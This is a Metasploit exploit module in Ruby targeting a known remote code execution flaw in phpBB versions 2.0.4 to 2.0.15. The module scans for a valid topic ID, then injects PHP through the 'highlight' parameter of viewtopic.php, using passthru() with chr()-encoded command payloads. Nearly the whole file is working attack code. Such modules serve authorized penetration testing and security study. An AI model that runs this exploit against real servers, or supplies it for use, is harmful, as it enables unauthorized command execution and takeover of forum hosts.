phpBB viewtopic.php Arbitrary Code Execution



##

# $Id: phpbb_highlight.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
            'Description'    => %q{
                    This module exploits two arbitrary PHP code execution flaws in the
                phpBB forum system. The problem is that the 'highlight' parameter
                in the 'viewtopic.php' script is not verified properly and will
                allow an attacker to inject arbitrary code via preg_replace().

                This vulnerability was introduced in revision 3076, and finally
                fixed in revision 5166. According to the "tags" within their tree,
                this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
            },
            'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9671 $',
            'References'     =>
                [
                    [ 'CVE', '2005-2086'],
                    [ 'CVE', '2004-1315'],
                    [ 'OSVDB', '11719'],
                    [ 'OSVDB', '17613'],
                    [ 'BID', '14086'],
                    [ 'BID', '10701'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 1024,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    [ 'Automatic',         { }],
                    [ 'phpbb <=2.0.10',     { }],
                    [ 'phpbb <=2.0.15',     { }],
                ],
            'DisclosureDate' => 'Nov 12 2004',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
                OptString.new('TOPIC', [false, "The ID of a valid topic"]),
            ], self.class)
    end

    def find_topic

        1.upto(32) do |x|

        res = send_request_raw({
                'uri'    => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
            }, 25)

        if (res and res.body.match(/class="postdetails"/))
            print_status("Discovered valid topic ID: #{x}")
            return x
        end

        end
        return false

    end

    def exploit

        topic = datastore['TOPIC'] || find_topic

        if !(topic)
            print_status("No valid topic ID found, please specify the TOPIC option.")
            return
        else

            sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

            case target.name
            when /Automatic/
                req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

                res = send_request_raw({
                'uri'    => datastore['URI'] + req
                }, 25)

                print_status("Trying to determine which attack method to use...")

                if (res and res.body =~ /\<title>phpinfo/)
                    byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
                    sploit << "%2527%252epassthru(#{byte})%252e%2527"
                else
                    byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
                    sploit << "%27.passthru(#{byte}).%27"
                end

            when /2\.0\.10/
                byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
                sploit << "%2527%252epassthru(#{byte})%252e%2527"
            when /2\.0\.15/
                byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
                sploit << "%27.passthru(#{byte}).%27"
            end

            res = send_request_raw({
            'uri'    => sploit
            }, 25)

        end

    end

end